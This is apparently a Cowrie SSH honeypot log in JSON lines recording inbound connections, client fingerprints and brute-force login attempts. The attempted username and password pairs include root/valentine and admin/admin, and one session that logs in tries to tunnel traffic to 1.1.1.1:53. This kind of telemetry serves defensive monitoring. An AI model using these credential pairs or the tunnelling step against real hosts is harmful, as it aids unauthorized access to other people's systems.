{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:00.352263Z","src_ip":"45.173.103.113","session":"8502bdcd844e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"django","password":"django1","message":"login attempt [django/django1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:00.791292Z","src_ip":"45.173.103.113","session":"8502bdcd844e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:01.897638Z","src_ip":"45.173.103.113","session":"8502bdcd844e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":46484,"dst_ip":"10.17.0.5","dst_port":22,"session":"1310e9266f9d","protocol":"ssh","message":"New connection: 51.250.105.222:46484 (10.17.0.5:22) [session: 1310e9266f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:07.734478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:07.742611Z","src_ip":"51.250.105.222","session":"1310e9266f9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:07.884729Z","src_ip":"51.250.105.222","session":"1310e9266f9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:08.284996Z","src_ip":"51.250.105.222","session":"1310e9266f9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:09.423132Z","src_ip":"51.250.105.222","session":"1310e9266f9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":45788,"dst_ip":"159.203.135.109","dst_port":22,"session":"b50399adde4d","protocol":"ssh","message":"New connection: 103.122.221.179:45788 (159.203.135.109:22) [session: b50399adde4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:30.651416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:30.656561Z","src_ip":"103.122.221.179","session":"b50399adde4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:30.919523Z","src_ip":"103.122.221.179","session":"b50399adde4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"valentine","message":"login attempt [root/valentine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:31.708406Z","src_ip":"103.122.221.179","session":"b50399adde4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:32.975523Z","src_ip":"103.122.221.179","session":"b50399adde4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27228,"dst_ip":"10.17.0.5","dst_port":22,"session":"386084b25298","protocol":"ssh","message":"New connection: 87.251.64.176:27228 (10.17.0.5:22) [session: 386084b25298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:38.493330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:38.497458Z","src_ip":"87.251.64.176","session":"386084b25298","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:38.591054Z","src_ip":"87.251.64.176","session":"386084b25298","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:38.879088Z","src_ip":"87.251.64.176","session":"386084b25298","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:38.979518Z","session":"386084b25298","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:39.077361Z","src_ip":"87.251.64.176","session":"386084b25298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:39.174751Z","src_ip":"87.251.64.176","session":"386084b25298","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51273,"dst_ip":"159.203.135.109","dst_port":22,"session":"541c83b55ce3","protocol":"ssh","message":"New connection: 23.97.62.150:51273 (159.203.135.109:22) [session: 541c83b55ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:52.476848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:52.481475Z","src_ip":"23.97.62.150","session":"541c83b55ce3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:52.713994Z","src_ip":"23.97.62.150","session":"541c83b55ce3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:53.411582Z","src_ip":"23.97.62.150","session":"541c83b55ce3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:54.647872Z","src_ip":"23.97.62.150","session":"541c83b55ce3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":59214,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b083c49e58e","protocol":"ssh","message":"New connection: 147.45.211.215:59214 (159.203.135.109:22) [session: 5b083c49e58e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:16:25.636597Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.135.235.126","src_port":51280,"dst_ip":"10.17.0.5","dst_port":22,"session":"e000b232313a","protocol":"ssh","message":"New connection: 115.135.235.126:51280 (10.17.0.5:22) [session: e000b232313a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:16:32.395323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:16:32.405202Z","src_ip":"115.135.235.126","session":"e000b232313a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:16:32.704066Z","src_ip":"115.135.235.126","session":"e000b232313a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pakistan@123","message":"login attempt [root/Pakistan@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:16:33.883316Z","src_ip":"115.135.235.126","session":"e000b232313a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:16:35.162203Z","src_ip":"115.135.235.126","session":"e000b232313a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.173.103.113","src_port":36290,"dst_ip":"10.17.0.5","dst_port":22,"session":"66e51ad3cc1f","protocol":"ssh","message":"New connection: 45.173.103.113:36290 (10.17.0.5:22) [session: 66e51ad3cc1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:16:47.478747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:16:47.483643Z","src_ip":"45.173.103.113","session":"66e51ad3cc1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:16:47.586407Z","src_ip":"45.173.103.113","session":"66e51ad3cc1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweasdzxc","message":"login attempt [root/123qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:16:48.026446Z","src_ip":"45.173.103.113","session":"66e51ad3cc1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:16:49.131608Z","src_ip":"45.173.103.113","session":"66e51ad3cc1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":54424,"dst_ip":"10.17.0.5","dst_port":22,"session":"e342dfc2f3c8","protocol":"ssh","message":"New connection: 194.113.233.25:54424 (10.17.0.5:22) [session: e342dfc2f3c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:16:57.015344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:16:57.027617Z","src_ip":"194.113.233.25","session":"e342dfc2f3c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:16:57.122212Z","src_ip":"194.113.233.25","session":"e342dfc2f3c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:16:57.514980Z","src_ip":"194.113.233.25","session":"e342dfc2f3c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:16:58.613359Z","src_ip":"194.113.233.25","session":"e342dfc2f3c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":46886,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e317b099b7f","protocol":"ssh","message":"New connection: 109.237.96.109:46886 (159.203.135.109:22) [session: 1e317b099b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:16:59.329859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:16:59.334879Z","src_ip":"109.237.96.109","session":"1e317b099b7f","protocol":"ssh"}
